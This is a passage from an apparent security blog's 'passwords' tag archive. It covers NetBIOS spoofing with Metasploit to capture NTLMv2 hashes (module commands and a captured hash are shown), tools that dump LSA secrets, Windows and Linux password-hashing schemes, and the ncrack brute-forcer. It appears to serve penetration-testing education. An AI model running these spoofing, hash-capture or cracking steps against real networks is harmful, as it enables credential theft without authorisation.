Tag Archive: passwords

NetBIOS spoofing

There have been several posts regarding NetBIOS spoofing, and i thought i would write something up regarding it.

When a windows machine tries to access a resource on the network it will try and resolve the name of the resource to an IP address. It does this by first searching it’s host file, and if that fails (and generally does), it will then try DNS. Well DNS doesnt have records for everything, so the windows machine tries NetBIOS and if you dont have a WINS server setup, it will send a broadcast message asking if anyone knows about that resource. Perfect, we can respond with a machine that we control.

How often to machines fall back to NetBIOS queries? Laptops that are part of a domain on a different wireless network often query for resources. Often companies have a internal website configured. Also most web browsers when you perform a search they have to determine if you are trying to access a local resource or performing a search.

msf  auxiliary(smb) > use auxiliary/spoof/nbns/nbns_response
msf  auxiliary(nbns_response) > show options

Module options (auxiliary/spoof/nbns/nbns_response):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   REGEX      .*               yes       Regex applied to the NB Name to determine if spoofed reply is sent
   SPOOFIP    yes       IP address with which to poison responses
   TIMEOUT    500              yes       The number of seconds to wait for new data

msf  auxiliary(nbns_response) > run
[*] Auxiliary module execution completed

[*] NBNS Spoofer started. Listening for NBNS requests...
msf  auxiliary(nbns_response) > use auxiliary/server/capture/smb
msf  auxiliary(smb) > show options

Module options (auxiliary/server/capture/smb):

   Name        Current Setting   Required  Description
   ----        ---------------   --------  -----------
   CAINPWFILE                    no        The local filename to store the hashes in Cain&Abel format
   CHALLENGE   1122334455667788  yes       The 8 byte challenge
   JOHNPWFILE                    no        The prefix to the local filename to store the hashes in JOHN format
   SRVHOST           yes       The local host to listen on. This must be an address on the local machine or
   SRVPORT     445               yes       The local port to listen on.
   SSL         false             no        Negotiate SSL for incoming connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3              no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)

msf  auxiliary(smb) > set JOHNPWFILE /pentest/passwords/wordlists/darkc0de.lst
JOHNPWFILE => /pentest/passwords/wordlists/darkc0de.lst
msf  auxiliary(smb) > run
[*] Auxiliary module execution completed

[*] Server started.
msf  auxiliary(smb) > [*] 2012-01-29 09:45:40 -0500
NTLMv2 Response Captured from
USER:keith DOMAIN:cheeze-it OS: LM:
NTHASH:******hash************* NT_CLIENT_CHALLENGE:****************************************************


Windows has 2 types of security, local and domain. LSA or Local Security Authority is defined by Microsoft as “A protected subsystem that authenticates and logs users onto the local system. LSA also maintains information about all aspects of local security on a system, collectively known as the Local Security Policy of the system. In addition to housing policy information, the LSA provides services for translation between names and security identifiers (SIDs).” The process that is responsible for this is Local Security Authority Subsystem Service (LSASS.EXE)

The private database for LSA is called LSA Secrets and they are stored HKEY_LOCAL_MACHINESecurityPolicySecrets. These registry settings are all encrypted, but you should be able to find some software that allows you to view this information, LSADump, LSASecretsDump, pwdumpx, gsecdump, and Cain & Able are just a few that can.


I’ve been wanting to do this for a while, but never got around to it. This is a list of common operating systems and the password hashing algorithms they use. This list is by no means comprehensive.

LM HASH (Lan Manager)
Windows NT to Windows 2003 systems store both LM HASH and NT HASH, starting in Windows Vista one is disabled. LM Hash is not really a hash, “A hash is a mathematical function used to summarize or probabilistically identify data. LM instead uses a cryptographic one-way function (OWF). Instead of encrypting the password with some other key, the password itself is the key.” The Hash is generated by:

  1. Convert all lower case characters in the password to upper case, thus it’s case insensitive
  2. Pad the password with NULL characters until it is exactly 14 characters long, anything after is trimmed
  3. Split the password into two 7 character chunks
  4. Use each chunk separately as a DES key to encrypt a specific string (KGS!@#$%).
  5. Concatenate the two cipher texts into a 128-bit string and store the result

LMHASH passwords are limited on the characters that can be used, common alphanumeric set only. This hash is stored in the SAM file.

This hash is also pretty basic, the hash is generated by converting the password to Unicode, then create a MD4 hash using that text. This password hash is also stored in the SAM file.

By default on Windows Systems on an Active Directory domain, the last 10 users to login to the systems credentials are cached on the system, and are stored using the MSCache hash. These hashes are stored in the Registry, under HKEY_LOCAL_MACHINESECURITYCACHENL$1 through NL$10. In order to view them you need to have system rights, or you have to change the ACL to view them. These hashes are generated by:

  1. NTLM Algorithm is applied to the password
  2. Convert the username lowercase and to unicode
  3. Combine 1 and 2 and generate a MD4 hash

Was released with Windows Vista is an improvement over MSCACHE. It is generated by:

  1. MSCACHE is applied
  2. Apply PBKDF2 with SHA1 as HMAC, an iteration count of 10240, the old DCC hash as password and the Unicode username as salt in order to generate the DCC2 (MSCash2) hash. Only the first 128 bits of the resulting 160 bits are used.

Active Directory
Good write-up is available here

It depends on how you have your system configured, but most distributions use MD5 with a salt. If you look at your /etc/shadow file you will see something like the following:
We are only concerned with what is after root:. The first $ represents the hashing algorithm. 1 is for MD5, 2 is for Blowfish, 5 is SHA-256, and 6 is SHA-512. The next $ is the salt, then finally the password hash. You can change it to whatever you want it to be by editing PAM or using the command authconfig. When changing your password the system uses the crypt library, and if you set it to a algorithm that the system doesnt support, it will default to MD5. GLIBC2 supports more hashing algorithms.
The salt is generated randomly (I think, couldnt really find much on this) and is used when creating the hash. Here is an example


ncrack Password cracker

“Ncrack is a high-speed network authentication cracking tool. It was built to help companies secure their networks by proactively testing all their hosts and networking devices for poor passwords. Security professionals also rely on Ncrack when auditing their clients. Ncrack was designed using a modular approach, a command-line syntax similar to Nmap and a dynamic engine that can adapt its behaviour based on network feedback. It allows for rapid, yet reliable large-scale auditing of multiple hosts.

Ncrack’s features include a very flexible interface granting the user full control of network operations, allowing for very sophisticated bruteforcing attacks, timing templates for ease of use, runtime interaction similar to Nmap’s and many more. Protocols supported include RDP, SSH, http(s), SMB, pop3(s), VNC, FTP, and telnet.”

Download the latest version here